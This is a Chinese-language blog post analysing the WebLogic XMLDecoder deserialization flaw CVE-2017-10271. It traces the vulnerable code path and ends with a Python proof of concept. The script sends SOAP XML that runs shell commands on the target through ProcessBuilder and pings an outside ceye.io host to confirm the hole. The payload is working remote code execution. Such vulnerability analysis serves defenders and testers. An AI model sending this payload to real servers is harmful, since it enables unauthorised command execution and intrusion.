WebLogic XMLDecoder 反序列化漏洞分析

Posted by JenI on 2017-12-26 00:00:00+08:00

前言

WebLogic是美国Oracle公司出品的一个应用服务器,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

在 2015 年,WebLogic 曾被爆出反序列化漏洞,漏洞编号为 CVE-2015-4852,官方针对该漏洞发布了相应的补丁,但由于是采用黑名单方式过滤危险的反序列化类,所以存在被绕过的可能。2016 年的 CVE-2016-0638、今年 1 月份的 CVE-2017-3248,还有今天要说的 CVE-2017-10271,都是由于绕过了黑名单,通过未被过滤的反序列化类在目标机器上执行命令。

目前已发现大量攻击者利用这些漏洞入侵服务器后,投放木马进行挖矿。攻击者通过 WebLogic 反序列化漏洞执行系统命令,远程下载恶意脚本,随后恶意脚本主动连接攻击者网站下载挖矿木马进行挖矿。

下面是针对 CVE-2017-10271 的漏洞分析。

漏洞分析

漏洞的利用点在 wls-wsat 这个 war 文件提供的 web service 服务上,根据文件内的 web.xml 内容可以看到一共存在八个可攻击点:分别为 CoordinatorPortType,CoordinatorPortType11,RegistrationPortTypeRPC,RegistrationPortTypeRPC11,ParticipantPortType,ParticipantPortType11,RegistrationRequesterPortType,RegistrationRequesterPortType11。

weblogic-rce-1

这些 servlet 接受客户端传来的 XML 格式的 POST 数据包,然后将数据包交由 weblogic.jar 中的 WorkContextServerTube 类进行处理,该类位于 weblogic.wsee.jaxws.workcontext 中。

WorkContextServerTube 类使用 processRequest 方法对 POST 数据包中的 XML 数据进行解析:

weblogic-rce-2

localHeader1 变量为 XML 数据中 <work:WorkContext>…</work:WorkContext> 标签内的内容。该部分内容被传入到 readHeaderOld 函数中,该函数源码如下:

weblogic-rce-3

此时 ByteArrayInputStream(localByteArrayOutputStream.toByteArray()) 为可执行的 XML 内容,该内容被传递到 WorkContextXmlInputAdapter() 类的 XMLDecoder. readObject() 方法,从而导致反序列过程中的代码执行。

漏洞验证

搭建 WebLogic Server,确认其可以被正常访问。

weblogic-rce-4

将浏览器代理到 BurpSuite,访问 /wls-wsat/CoordinatorPortType 页面,修改数据包为 POST 数据包,Content-type 为 text/xml,POST 数据填充为漏洞利用 POC,如下:

weblogic-rce-5

发送数据包,服务器成功弹出计算器。

weblogic-rce-6

漏洞验证 POC

在脚本中修改 identifier 变量值为 http://ceye.io/profile 页面的 identifier(需注册账号),脚本执行结束后在 http://ceye.io/records/dns 页面查看结果。

使用方法: python weblogic-rce.py ip:port

如果存在如下图所示结果,说明存在漏洞。

weblogic-rce-7

# coding:utf-8

import requests
import sys

# http://ceye.io/profile 页面的 identifier
identifier = ''
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
    'Content-Type': 'text/xml;charset=UTF-8'
    }

def check(target):
    ip = target.split(':')[0]
    port = target.split(':')[1]
    url = 'http://' + target + '/wls-wsat/CoordinatorPortType'
    windows_post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>cmd</string>
                </void>
                <void index="1">
                  <string>/c</string>
                </void>
                <void index="2">
                  <string>ping {ip}_{port}.{identifier} -n 2</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''.format(ip=ip, port=port, identifier=identifier)
    linux_post_str = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
                <void index="2">
                  <string>&quot;ping {ip}_{port}.{identifier} -c 2&quot;</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>
    '''.format(ip=ip, port=port, identifier=identifier)
    try:
        requests.post(url, data=windows_post_str, headers=headers, timeout=10, verify=False)
    except:
        pass
    try:
        requests.post(url, data=linux_post_str, headers=headers, timeout=10, verify=False)
    except:
        pass

def main():
    target = sys.argv[1]
    check(target)

if __name__ == '__main__':
    main()

参考

https://www.anquanke.com/post/id/92003


作者:   JenI   转载请注明出处,谢谢


Comments !